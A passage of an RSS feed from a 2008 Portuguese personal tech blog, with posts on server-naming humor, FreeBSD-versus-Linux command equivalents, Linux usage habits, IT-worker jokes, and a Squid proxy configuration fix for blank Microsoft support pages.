			<content:encoded><![CDATA[<p>Pois é, agora adotei mesmo esse costume de <em>blogar</em>. Estou participando de outro blog: <a title="geeks.blog.br" href="http://geeks.blog.br" target="_blank">GEEKS.BLOG.BR.</a></p>
<p>Mantido por mim, Jairo Molina, Fúlvio Oliveira, Marga e Alexandre Martins, falamos sobre o que é ser Geek, sobre o que &#8220;gostamos&#8221;, coisas que nos chamam atenção.</p>
<p>Trabalhamos a um tempo atrás no provedor <a href="http://www.intermol.com.br/">Intermol</a>, em Mogi das Cruzes. Sempre preocupados em ser referência na região na qualidade de serviços prestados, criamos juntos um forte nome na região, na época do acesso discado. O diferencial era foco no cliente.</p>
<p>Enfim, cada um continuou com sua vida, mas os profissionais que conheci nunca serão esquecidos.</p>
<p>Aprendi lá a importância de ser transparente com os clientes internos e externos de uma empresa, entre outras coisas. Grande escola.</p>
<p>Bom, chega de saudosismo. Fica o convite: <a href="http://geeks.blog.br">http://geeks.blog.br</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/25/link-blog-geeks/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Qual o nome do seu servidor?</title>
		<link>http://www.elirios.com/2008/06/25/qual-o-nome-do-seu-servidor/</link>
		<comments>http://www.elirios.com/2008/06/25/qual-o-nome-do-seu-servidor/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 06:20:34 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[freebsd]]></category>

		<category><![CDATA[humor]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[unix]]></category>

		<category><![CDATA[windows]]></category>

		<category><![CDATA[geek]]></category>

		<category><![CDATA[nome servidor]]></category>

		<category><![CDATA[rede]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=31</guid>
		<description><![CDATA[Quem foi administrador de servidores ou é, já passou, passa ou passará por algo assim: que nome dar ao servidor?
Já vários modelos.
Veja alguns exemplos de modelos de nomes para servidor:

 Animais : macaco, zebra, leão, gorilla, touro;
 Frutas : banana, goiaba, morango;
 Criaturas mitológicas: Cérberos, Medusa, Pégasus;
 Países e cidades : Monaco, Kosovo, Paris;
 Nomes [...]]]></description>
			<content:encoded><![CDATA[<p>Quem foi administrador de servidores ou é, já passou, passa ou passará por algo assim: que nome dar ao servidor?<br />
Já vários modelos.<br />
Veja alguns exemplos de modelos de nomes para servidor:</p>
<ul>
<li> Animais : macaco, zebra, leão, gorilla, touro;</li>
<li> Frutas : banana, goiaba, morango;</li>
<li> Criaturas mitológicas: Cérberos, Medusa, Pégasus;</li>
<li> Países e cidades : Monaco, Kosovo, Paris;</li>
<li> Nomes de compositors: Jobim, Bach, Sulivam;</li>
<li> Deuses gregos: Athena, Zeus, Hades, Hécules;</li>
<li> Nomes de mulheres famosas: Pamela, Britney, Paris, Melancia (ué, mas não é fruta?);</li>
<li> Personagens de animação: Andy, Flash, Gordon, Bruce (Wayne), Kent;</li>
<li> Personagens de anime: Goku, Akira, Luffy, Zoro, Oliver;</li>
<li> Personagens femininas: Ino, Rogue, Cheetara, Nami;</li>
<li> Números sequenciais: server1, server1, srv11;</li>
<li> e assim por diante&#8230;</li>
</ul>
<p>Eu tive um servidor que meu ex-chefe nomeou. Se chamada Dell. Muito sem graça. Os servidores que gerencio atualmente seguem uma ordem numérica (server1, server2), também “sem sal”.<br />
No site pessoal do meu ex-professor (Ulisses do INPE), ele descreve a saga dos nomes de seus servidores: <a href="http://www2.dem.inpe.br/ulisses/romance.htm">link</a>. Muito bom o texto. Ele descreveu o porque dos nomes e até conta sobre um triangulo amoroso entre três deles, a Patroa, a Outra e o Felots.<br />
Diga então, quais padrões você já seguiu? Eu mesmo já usei nomes de personagens de anime, personagens mitológicos, nome de compositores e nome de mulheres famosas. Imagine um servidor chamado Melancia, hummmm.<br />
Comente, diga o que já usou para nomear seus servidores:</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/25/qual-o-nome-do-seu-servidor/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Ajude a sustentar a Wikipédia e outros projetos, sem colocar a mão no bolso, e concorra a um Eee PC!</title>
		<link>http://www.elirios.com/2008/06/24/ajude-a-sustentar-a-wikipedia-e-outros-projetos-sem-colocar-a-mao-no-bolso-e-concorra-a-um-eee-pc/</link>
		<comments>http://www.elirios.com/2008/06/24/ajude-a-sustentar-a-wikipedia-e-outros-projetos-sem-colocar-a-mao-no-bolso-e-concorra-a-um-eee-pc/#comments</comments>
		<pubDate>Wed, 25 Jun 2008 00:16:03 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[sem categoria]]></category>

		<guid isPermaLink="false">http://www.elirios.com/?p=30</guid>
		<description><![CDATA[Ajude a sustentar a Wikipédia e outros projetos, sem colocar a mão no bolso, e concorra a um Eee PC!
…e também a pen drives, card drives, camisetas geeks, livros e mais! O BR-Linux e o Efetividade lançaram uma campanha para ajudar a Wikimedia Foundation e outros mantenedores de projetos que usamos no dia-a-dia on-line. Se [...]]]></description>
			<content:encoded><![CDATA[<p><strong>Ajude a sustentar a Wikipédia e outros projetos, sem colocar a mão no bolso, e concorra a um Eee PC!</strong><br />
…e também a pen drives, card drives, camisetas geeks, livros e mais! O <a href="http://br-linux.org"></a>BR-Linux e o <a href="http://efetividade.net"></a>Efetividade lançaram uma <a href="http://br-linux.org/2008/campanha-wikipedia"></a>campanha para ajudar a Wikimedia Foundation e outros mantenedores de projetos que usamos no dia-a-dia on-line. Se você puder doar diretamente, ou contribuir de outra forma, são sempre melhores opções. Mas se não puder, veja as regras da promoção e <a href="http://br-linux.org/2008/campanha-wikipedia"></a>participe - quanto mais divulgação, maior será a doação do BR-Linux e do Efetividade, e você ainda concorre a diversos brindes!</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/24/ajude-a-sustentar-a-wikipedia-e-outros-projetos-sem-colocar-a-mao-no-bolso-e-concorra-a-um-eee-pc/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Comandos FreeBSD x Linux</title>
		<link>http://www.elirios.com/2008/06/23/comandos-freebsd-x-linux/</link>
		<comments>http://www.elirios.com/2008/06/23/comandos-freebsd-x-linux/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 00:50:22 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[freebsd]]></category>

		<category><![CDATA[linux]]></category>

		<category><![CDATA[unix]]></category>

		<category><![CDATA[comandos]]></category>

		<category><![CDATA[diferenças]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/?p=28</guid>
		<description><![CDATA[São sistemas realmente próximos. FreeBSD veio de Berkeley e o Linux da Finlândia. Existem boas diferenças, eu mesmo notei agora que tenho mais contato com o FreeBSD. Pesquisando encontrei:]]></description>
			<content:encoded><![CDATA[<p>São sistemas realmente próximos. O FreeBSD veio de Berkeley e o Linux da Finlândia. Existem boas diferenças, eu mesmo notei agora que tenho mais contato com o FreeBSD. Pesquisando encontrei:</p>
<h2>Disco e sistema de arquivos</h2>
<p>Uso do disco:</p>
<pre>{linux}$ du -sh
{freebsd}$ du -sh
</pre>
<p>Contagem de subdiretórios no diretório atual:</p>
<pre>{linux}$ du --max-depth=1
{freebsd}$ du -d1
</pre>
<p>Comando para encontrar o maior arquivo/diretório no disco:</p>
<pre>{linux}$ du --max-depth=1 -kx|sort -n
{freebsd}$ du -d1 -kx|sort -n
</pre>
<p>Encontrando alguns tipos de arquivos:</p>
<pre>{linux}$ find . -regextype posix-xtended -type f -regex ".*\.(java|class)"
{freebsd}$ find -E . -type f -regex ".*\.(java|class)"
</pre>
<p>Mostrar arquivos abertos e programas:</p>
<pre>{linux}$ lsof
{freebsd}$ fstat
</pre>
<p>Uso do disco em tempo real:</p>
<pre>{linux}$ vmstat 3
{freebsd}$ iostat 3
</pre>
<h2>Rede</h2>
<p>Apresenta portas abertas e aplicativos conectador a elas:</p>
<pre>{linux}$ netstat -apne --inet
{freebsd}$ sockstat
</pre>
<h2>Kernel</h2>
<p>Apresenta módulos carregados:</p>
<pre>{linux}$ lsmod
{freebsd}$ kldstat
</pre>
<p>Carrega módulo kernel:</p>
<pre>{linux}$ modprobe SomeModule
{freebsd}$ kldload SomeModule
</pre>
<p>Remove módulo carregado:</p>
<pre>{linux}$ rmmod SomeModule
{freebsd}$ kldunload SomeModule
</pre>
<h2>Desenvolvimento de programas</h2>
<p>Traca chamadas de sistema de um programa:</p>
<pre>{linux}$ strace
{freebsd}$ truss
(strace is also available in /usr/ports/devel/strace)
</pre>
<p>libraries - mostra todos paths + libs:</p>
<pre>{linux}$ ldconfig -p
{freebsd}$ ldconfig -r
</pre>
<h2>Gerenciamento de pacotes</h2>
<p>Distribuições diferentes de linux fazem de sua forma. Aqui colocarei a análise sobre o Debian, Ubuntu, Kubuntu etc.</p>
<p>Encontra qual pacote o arquivo pertence:</p>
<pre>{freebsd}$ pkg_info -W /path/to/checked_file
{linux}$ dpkg -S /path/to/checked_file
</pre>
<p>Aproximação de pesquisa de pacotes</p>
<pre>{linux}$ apt-cache search your_name
{freebsd}$ cd /usr/ports; make search key=your_name
                          make search name=pear display=name,path
    ou simplesmente locate (somente em nome dos pacotes):
{freebsd}$ locate -i your_name | grep "/usr/ports/"
</pre>
<p>Instalar um pacote binário</p>
<pre>{linux}$ apt-get install package_name
{freebsd}$ pkg_add -r package_name
</pre>
<p>Instala pacotes de sources</p>
<pre>{linux}$ apt-src
{freebsd}$ cd /usr/ports/path/package; make install clean
</pre>
<address><a title="http://langs-tech-stuff.blogspot.com/2007/07/linux-freebsd-commands.html" href="http://langs-tech-stuff.blogspot.com/2007/07/linux-freebsd-commands.html" target="_self">http://langs-tech-stuff.blogspot.com/2007/07/linux-freebsd-commands.html</a></address>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/23/comandos-freebsd-x-linux/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Da série &#8220;O cara da informática&#8221;</title>
		<link>http://www.elirios.com/2008/06/17/da-serie-o-cara-da-informatica/</link>
		<comments>http://www.elirios.com/2008/06/17/da-serie-o-cara-da-informatica/#comments</comments>
		<pubDate>Wed, 18 Jun 2008 01:14:30 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[humor]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/?p=25</guid>
		<description><![CDATA[Como todos os dias de manhã, quando chego na empresa, antes de tudo, tomo aquele café para dar aquela acordada e começar bem o dia. Nesse momento, todos que aparecem na lanchonete tomam seus cafés, aproveitando para brincar com os outros. É a hora divertida do dia, um momento para começar bem.
Mas todo o dia [...]]]></description>
			<content:encoded><![CDATA[<p>Como todos os dias de manhã, quando chego na empresa, antes de tudo, tomo aquele café para dar aquela acordada e começar bem o dia. Nesse momento, todos que aparecem na lanchonete tomam seus cafés, aproveitando para brincar com os outros. É a hora divertida do dia, um momento para começar bem.<br />
Mas todo o dia é a mesma coisa comigo e nem sei dizer se isso é ruim ou bom. Prefiro pensar que isso é um reflexo de que resolvo os problemas.<br />
Estava pedindo meu diário e necessário &#8220;pão na chapa&#8221;, quando uma colega de trabalho me viu e em vez de cumprimentar, lembrou que o &#8220;Pimaco&#8221; não estava funcionando.<br />
Bom, quem é do ramo sabe sobre o que estou escrevendo.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/17/da-serie-o-cara-da-informatica/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Coisas que todos precisam saber a respeito de um &#34;cara da informática&#34; - parte 3</title>
		<link>http://www.elirios.com/2008/06/11/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-3/</link>
		<comments>http://www.elirios.com/2008/06/11/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-3/#comments</comments>
		<pubDate>Wed, 11 Jun 2008 12:46:00 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[humor]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/06/11/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-3/</guid>
		<description><![CDATA[Continuando Coisas que todos precisam saber a respeito de um &#34;cara da inform&#225;tica&#34; parte 1 e parte 2:
9) Quanto ao uso do celular: celular &#233; ferramenta de trabalho. Por favor, ligue, apenas, quando necess&#225;rio. Fora do hor&#225;rio de expediente, mesmo que voc&#234; ainda duvide, o CARA DA INFORMATICA pode estar fazendo algumas coisas que voc&#234; [...]]]></description>
			<content:encoded><![CDATA[<p>Continuando Coisas que todos precisam saber a respeito de um &quot;cara da inform&#225;tica&quot; <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber.html">parte 1</a> e <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber_06.html">parte 2</a>:
<p>9) Quanto ao uso do celular: celular &#233; ferramenta de trabalho. Por favor, ligue, apenas, quando necess&#225;rio. Fora do hor&#225;rio de expediente, mesmo que voc&#234; ainda duvide, o CARA DA INFORMATICA pode estar fazendo algumas coisas que voc&#234; nem pensou que ele fazia, como dormir ou namorar, por exemplo;
<p>10) Pedir a mesma coisa v&#225;rias vezes n&#227;o faz o CARA DA INFORMATICA trabalhar mais r&#225;pido. Solicite, depois aguarde o prazo dado pelo CARA DA INFORMATICA;
<p>11) Quando o hor&#225;rio de trabalho do per&#237;odo da manh&#227; vai at&#233; 12h, n&#227;o significa que voc&#234; pode ligar &#224;s 11:58 horas. Se voc&#234; pretendia cometer essa gafe, v&#225; e ligue ap&#243;s o hor&#225;rio do almo&#231;o (relembre o item 2). O mesmo vale para a parte da tarde: ligue no dia seguinte;
<p>12) Quando CARA DA INFORMATICA estiver apresentando um projeto, por favor, n&#227;o fique bombardeando com milhares de perguntas durante o atendimento. Isso tira a concentra&#231;&#227;o, al&#233;m de torrar a paci&#234;ncia. ATEN&#199;&#195;O: Evite perguntas que n&#227;o tenham rela&#231;&#227;o com o projeto, tipo como. Voc&#234;s entendem &#233; claro;
<p>continua&#8230;
<p>Para quem perdeu, leia a <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber.html">parte 1</a> e <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber_06.html">parte 2</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/11/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-3/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Os sete hábitos do usuário Linux eficiente</title>
		<link>http://www.elirios.com/2008/06/10/os-sete-habitos-do-usuario-linux-eficiente-2/</link>
		<comments>http://www.elirios.com/2008/06/10/os-sete-habitos-do-usuario-linux-eficiente-2/#comments</comments>
		<pubDate>Tue, 10 Jun 2008 10:56:00 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/06/10/os-sete-habitos-do-usuario-linux-eficiente-2/</guid>
		<description><![CDATA[1. Nunca permanecer logado como “root”
Muitos erros podem acontecer (em qualquer sistema operacional) quando o utilizamos  com poderes de super-usuário. Um comando mal escrito é o suficiente para causar um grande estrago. Portanto:
* Use “su” ou “sudo” para alguma tarefa administrativa - e somente quando isso for imprescindível - e feche a sessão assim [...]]]></description>
			<content:encoded><![CDATA[<p><strong>1. Nunca permanecer logado como “root”</strong></p>
<p>Muitos erros podem acontecer (em qualquer sistema operacional) quando o utilizamos  com poderes de super-usuário. Um comando mal escrito é o suficiente para causar um grande estrago. Portanto:</p>
<p>* Use “su” ou “sudo” para alguma tarefa administrativa - e somente quando isso for imprescindível - e feche a sessão assim que possível.<br />* Para o modo gráfico, execute “gksu”, “gksudo” ou “kdesu”. Pressione + e digite “gksudo nautilus /tmp/”. Feche a aplicação assim que completar a tarefa.</p>
<p><strong>2. Forneça nomes convenientes a seus arquivo</strong>s</p>
<p>Em Linux você pode utilizar virtualmente qualquer caractere no nome de um arquivo. Mas nem todos são convenientes e podem trazer problemas na hora de serem utilizados. Então:</p>
<p>* Utilize somente caracteres alfanuméricos (preferencialmente minúsculos), ponto, hífen e sublinhado.<br />* Fuja incondicionalmente de símbolos como porcentagem, cifrão, chaves e colchetes. Eles têm significados especiais e podem causar má interpretação<br />* Edite o seu arquivo FSTAB, inserindo UTF-8 nos parâmetros. Exemplo: defaults,utf8,umask=007,gid=46 0 <br />O utf-8 oferece a possibilidade de se utilizar acentuação em seus arquivos.</p>
<p><strong>3. Mantenha o diretório /home em uma partição distinta</strong></p>
<p>O diretório /home mantém dados pessoais dos usuários. Se ele estiver em uma partição em separado, você pode ficar à vontade para fazer reinstalações do sistema operacional, basta não formatar esta partição. <br />A versão 8.04 do Ubuntu deve permitir fazer uma reinstalação sem sobrescrever este diretório, mas ainda é uma boa prática mantê-lo em separado. Esta idéia também pode se aplicar a outras diretórios como /Músicas ou /Vídeos</p>
<p><strong>4. Gerencie eventuais travamentos</strong></p>
<p>O Linux é muito robusto e estável, mas é possível que você depare-se com situações de travamento. Programas isolados podem travar e começar a utilizar recursos de forma predatória. O hardware também prega suas peças de vez em quando. E ações inapropriadas de usuários - especialmente quando com poderes de root - também podem ser perniciosas. Mas não pressione o CTRL+ALT+DEL em vão. Nem aperte o botão de Ligar/Desligar de seu computador. Tente seguir estes passos</p>
<p>* Mantenha um item de “Fechar Forçado” em seu painel (as barras no topo ou no base de seu desktop). Se um aplicativo travar, clique neste item e depois sobre o aplicativo desobediente, terminando-o<br />* Abra um terminal e digite “ps -A | less” ou um “top”. Procure o número do processo (PID) que deseja fechar e mate-o com um “kill -9 PID”<br />* Use o “killall”, ex: “killall firefox”<br />* Utilize “ALT+F2″, digitando na janela “xkill” e clicando na aplicação travada.<br />* Se a interface gráfica estiver comprometida e não for possível abrir um terminal, pressione CTRL+ALT+F1, abra uma nova sessão e siga os dois passos anteriores por lá<br />* Se a solução for reinicializar a interface gráfica, tente fazê-lo com as teclas CTRL+ALT+BACKSPACE<br />* Se nada estiver funcionando e reinicializar o sistema completo for a única saída utilize o CTRL+ALT+F1, abra uma nova sessão e use o CTRL+ALT+DEL nesta sessão<br />* Se você chegou até aqui é que a situação deve estar realmente crítica. Mesmo assim, ainda há um passo antes do botão de Liga/Desliga. Utilize as teclas de emergência ALT+PRINT SCREEN+O para desligar o sistema ou ALT+PRINT SCREEN+B para reiniciá-lo. Conheça outras teclas de emergência no Wiki em português do Ubuntu ou tente o último recurso.</p>
<p><strong>5. Teste até se encontrar</strong></p>
<p>Um amigo pode ter lhe influenciado a escolher determinada distribuição ou interface gráfica do Linux. Provavelmente terá sido uma opção que funcionou bem para ele. Mas, e para você? Pode ser que exista outra opção mais produtiva. Veja o Ubuntu, por exemplo: usuários “clean” gostam da interface Gnome padrão, os mais habituados a interfaces de outros sistemas operacionais preferem o KDE do Kubuntu, quem tem equipamento mais modesto tem de se virar com XFCE do Xubuntu, estudantes do ensino fundamental podem gostar do Edubuntu, quem trabalha com multimídia prefere o Ubuntu Studio e assim por diante. Então, faça experiências. Você pode utilizar uma partição somente para testes, um computador ou mesmo utilizar um virtualizador para isso.</p>
<p><strong>6. Adote a Interface em Linha de Comando (modo texto)</strong></p>
<p>Sim, a interface gráfica facilita - e muito - a nossa vida. Eu posso passar dias sem utilizar uma interface em linha de comando. Mas o poder e a flexibilidade que este tipo de interface oferece é inigualável. Muitas tarefas que dependem de múltiplas janelas e cliques podem ser executadas com um único comando. Aprenda cada dia um pouco mais sobre a interface em linha de comando.</p>
<p><strong>7. Esteja sempre pronto para utilizar o Linux</strong></p>
<p>Sabe quando seu amigo pede para que você faça algo no computador dele - que só tem outros sistemas operacionais - e você sabe que tudo seria mais fácil se estivesse usando Linux? Então mantenha por perto uma opção para utilizá-lo. Pode ser uma versão que execute de um CD ou de um pendrive, mas pode ser sua salvação. Já tive um amigo cujo computador travou, executou um aplicativo de verificação de disco e removeu um certo diretório da máquina dele - o diretório /Windows. O computador estava operacional, mas sem a interface gráfica, algo abominável para alguém como ele. Um Linux que rodava a partir de um disquete e uma unidade de backup externa foi o que eu precisei para preservar todos seus arquivos, embora eles tenham perdido seus nomes longos. Até mesmo um software antivírus executado de um pendrive com Linux pode quebrar um bom galho.</p>
<p>referências:<br />http://hehe2.net/linux-general/the-7-habits-of-highly-effective-linux-users/<br />http://tecnologic.wordpress.com/2008/05/19/os-sete-habitos-do-usuario-linux-eficiente/</p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/10/os-sete-habitos-do-usuario-linux-eficiente-2/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Coisas que todos precisam saber a respeito de um &#34;cara da informática&#34; - parte 2</title>
		<link>http://www.elirios.com/2008/06/06/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-2/</link>
		<comments>http://www.elirios.com/2008/06/06/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-2/#comments</comments>
		<pubDate>Fri, 06 Jun 2008 16:26:00 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[humor]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/06/06/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-2/</guid>
		<description><![CDATA[Continuando Coisas que todos precisam saber a respeito de um &#8220;cara da informática&#8221;:
5) Ler, estudar também é trabalho. E trabalho sério. Pode parar de rir. Não é piada. Quando um CARA DA INFORMÁTICA está concentrado num livro ou publicação especializada ele está se aprimorando como profissional, logo trabalhando;
6) De uma vez por todas, vale reforçar: [...]]]></description>
			<content:encoded><![CDATA[<p>Continuando <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber.html">Coisas que todos precisam saber a respeito de um &#8220;cara da informática&#8221;</a>:</p>
<p>5) Ler, estudar também é trabalho. E trabalho sério. Pode parar de rir. Não é piada. Quando um CARA DA INFORMÁTICA está concentrado num livro ou publicação especializada ele está se aprimorando como profissional, logo trabalhando;</p>
<p>6) De uma vez por todas, vale reforçar: O CARA DA INFORMÁTICA não é vidente, não joga tarô e nem tem bola de cristal, pois se você achou isto demita-o e contrate um PARANORMAL OU DETETIVE. Ele precisa planejar, se organizar e assim ter condições de fazer um bom trabalho, seja de que tamanho for. Prazos são essenciais e não um luxo… Se você quer um milagre, ore bastante, faça jejum e deixe o pobre do CARA DA INFORMÁTICA em paz;</p>
<p>7) Em reuniões de amigos ou festas de família, o CARA DA INFORMÁTICA deixa de ser o CARA DA INFORMÁTICA e reassume seu posto de amigo ou parente, exatamente como era antes dele ingressar nesta profissão. Não peça conselhos, dicas… ele tem direito de se divertir;</p>
<p> <img src='http://www.elirios.com/wp-includes/images/smilies/icon_cool.gif' alt='8)' class='wp-smiley' /> Não existe apenas um “levantamentozinho” , uma “pesquisazinha” , nem um “resuminho”, um “programinha pra controlar minha loja”, um “probleminha que a maquina não liga”, um “sisteminha” , uma “passadinha rápida(ALIAS CONTA-SE DE ONDE SAIMOS E ATÉ CHEGARMOS)”, pois esqueça os “inha e os inho (programinha, sisteminha, olhadinha)” pois OS CARAS DA INFORMATICA não resolvem este tipo de problema. Levantamentos, pesquisas e resumos são frutos de análises cuidadosas e requerem atenção, dedicação. Esses tópicos podem parecer inconcebíveis a uma boa parte da população, mas servem para tornar a vida do CARA DA INFORMATICA mais suportável;</p>
<p>continua&#8230;</p>
<p>Para quem perdeu, leia a <a href="http://elirios.blogspot.com/2008/06/coisas-que-todos-precisam-saber.html">parte 1</a></p>
<p>Acesse também: <a href="http://macetinhos.blogspot.com/">Macetinhos</a>, <a href="http://www.jairomolina.com/">Geeks</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/06/coisas-que-todos-precisam-saber-a-respeito-de-um-cara-da-informatica-parte-2/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Página KB da Microsoft retornando em branco no IE7</title>
		<link>http://www.elirios.com/2008/06/05/pagina-kb-da-microsoft-retornando-em-branco-no-ie7/</link>
		<comments>http://www.elirios.com/2008/06/05/pagina-kb-da-microsoft-retornando-em-branco-no-ie7/#comments</comments>
		<pubDate>Thu, 05 Jun 2008 17:54:00 +0000</pubDate>
		<dc:creator>admin</dc:creator>
		
		<category><![CDATA[iis]]></category>

		<category><![CDATA[squid]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/06/05/pagina-kb-da-microsoft-retornando-em-branco-no-ie7/</guid>
		<description><![CDATA[O PROBLEMA:
Eu vinha a algum tempo tentando acessar o site http://support.microsoft.com para checar alguns KB (base de conhecimento da Microsoft). Mas sempre estava retornando uma página em branco.
Procurando na internet, em sites, fóruns e blogs, constatei que várias pessoas passaram a ter o mesmo problema.
Passei então a procurar por conta o problema. Conectando diretamente ao [...]]]></description>
			<content:encoded><![CDATA[<p>O PROBLEMA:</p>
<p>Eu vinha a algum tempo tentando acessar o site <a href="http://support.microsoft.com">http://support.microsoft.com</a> para checar alguns KB (base de conhecimento da Microsoft). Mas sempre estava retornando uma página em branco.<br />
Procurando na internet, em sites, fóruns e blogs, constatei que várias pessoas passaram a ter o mesmo problema.<br />
Passei então a procurar por conta o problema. Conectando diretamente ao site, sem Proxy, a página era exibida normalmente.</p>
<p>MEU PRIMEIRO PENSAMENTO:</p>
<p>Solução então: fazer que o Proxy não faça cache do site dos KBs da Microsoft?<br />
Funciona. Mas eu teria mesmo que criar uma regra no nosso NAT para conectar diretamente e não usar o Proxy para acessar esse site. E pior, poderia acontecer de um dia aparecer outro site com o mesmo problema. Ficaria sem cache.<br />
Mas daí pensei: será que vai resolver? Isso não vai acontecer com outros sites? E o que mais me intrigava: qual o motivo disso acontecer?</p>
<p>A CAUSA:</p>
<p>Vamos a fonte então. No blog do Squid (<a href="http://squidproxy.wordpress.com/2008/04/29/chunked-decoding/">http://squidproxy.wordpress.com/2008/04/29/chunked-decoding/</a>) encontrei a causa do problema.<br />
Segundo o blog, esse &#8220;novo&#8221; incidente é causado por servidores web amplamente usados (leia-se IIS), que sempre respondem com cabeçalho HTTP/1.1 com o parâmetro &#8220;chunked-encoding&#8221;.<br />
Pelo que entendi, os servidores são &#8220;explicitamente proibidos&#8221; de enviar esse tipo em particular para softwares que se anunciam como HTTP/1.0 (como o Squid). Mas o ISS faz isso mesmo assim.<br />
Isso não é um problema do Squid, mas do IIS. Mesmo assim é possível configurar o Squid para &#8220;ignorar o erro&#8221;</p>
<p>O TESTE:</p>
<p>Para testar se o problema é esse mesmo, foi usado o &#8220;squidclient&#8221; para fazer uma requisição, desviando do Proxy Squid. Deve-se, para o teste, enviar uma requisição HTTP/1.0 e checar a pagina de resposta. Se o cabeçalho de resposta incluir &#8220;Transfer-Encoding: chunked&#8221;, aí está seu problema.<br />
Esse mesmo teste pode ser feito via comando telnet (telnet &lt;endereço site&gt; 80) requisitando o &#8220;HEAD&#8221; da página índex (/)</p>
<p>SOLUÇÕES:</p>
<p>Variam de caso a caso. Simplesmente pode-se desviar o acesso a esses sites pelo Squid, para acessar diretamente, sem cache. Mas a que eu adotei aqui foi adicionar no &#8220;squid.conf&#8221; as seguintes linhas:</p>
<p>&lt;pre&gt;<br />
# Corrige sites em branco, removendo &#8220;Accept-Encoding header&#8221;<br />
acl broken dstdomain microsoft.com<br />
request_header_access Accept-Encoding deny broken<br />
&lt;/pre&gt;</p>
<p>Nota: remover se for fazer atualização para squid 3.0</p>
<p>Bom também criar uma regra no NAT para ignorar esses sites e não usar o squid (conexão direta), ou ainda, se o Proxy é configurado no cliente, colocar na configuração do navegador para não acessar esses site via Proxy.</p>
<p>Fonte: <a href="http://squidproxy.wordpress.com/2008/04/29/chunked-decoding/">http://squidproxy.wordpress.com/2008/04/29/chunked-decoding/</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/05/pagina-kb-da-microsoft-retornando-em-branco-no-ie7/feed/</wfw:commentRss>
		</item>
		<item>
		<title>Podcast - Entrevista ao Radar Cultura (janeiro de 2008)</title>
		<link>http://www.elirios.com/2008/06/03/podcast-entrevista-ao-radar-cultura-janeiro-de-2008/</link>
		<comments>http://www.elirios.com/2008/06/03/podcast-entrevista-ao-radar-cultura-janeiro-de-2008/#comments</comments>
		<pubDate>Wed, 04 Jun 2008 01:38:00 +0000</pubDate>
		<dc:creator>EliRios</dc:creator>
		
		<category><![CDATA[sem categoria]]></category>

		<guid isPermaLink="false">http://www.elirios.com/blog/2008/06/03/podcast-entrevista-ao-radar-cultura-janeiro-de-2008/</guid>
		<description><![CDATA[Está aí para quem pediu:
  
O link para ouvir essa e outros podcasts no Radar Cultura é:http://www.radarcultura.com.br/O link direto para meu podcast lá é:http://www.radarcultura.com.br/node/8744
]]></description>
			<content:encoded><![CDATA[<p>Está aí para quem pediu:</p>
<p> <object type="application/x-shockwave-flash" data="http://www.radarcultura.com.br/sites/default/modules/cultura/podcasts/player.swf" id="audioplayer_8744" height="24" width="290"><param name="movie" value="http://www.radarcultura.com.br/sites/default/modules/cultura/podcasts/player.swf"><param name="FlashVars" value="playerID=8744&amp;autostart=no&amp;soundFile=http://www.radarcultura.com.br/podcasts/2008/02/cp/16/16_BATEPAPOELINERD.mp3"><param name="quality" value="high"><param name="menu" value="false"><param name="wmode" value="transparent"> </object></p>
<p>O link para ouvir essa e outros podcasts no Radar Cultura é:<br /><a href="http://www.radarcultura.com.br/">http://www.radarcultura.com.br/</a><br />O link direto para meu podcast lá é:<br /><a href="http://www.radarcultura.com.br/node/8744">http://www.radarcultura.com.br/node/8744</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.elirios.com/2008/06/03/podcast-entrevista-ao-radar-cultura-janeiro-de-2008/feed/</wfw:commentRss>
		</item>
		<item>
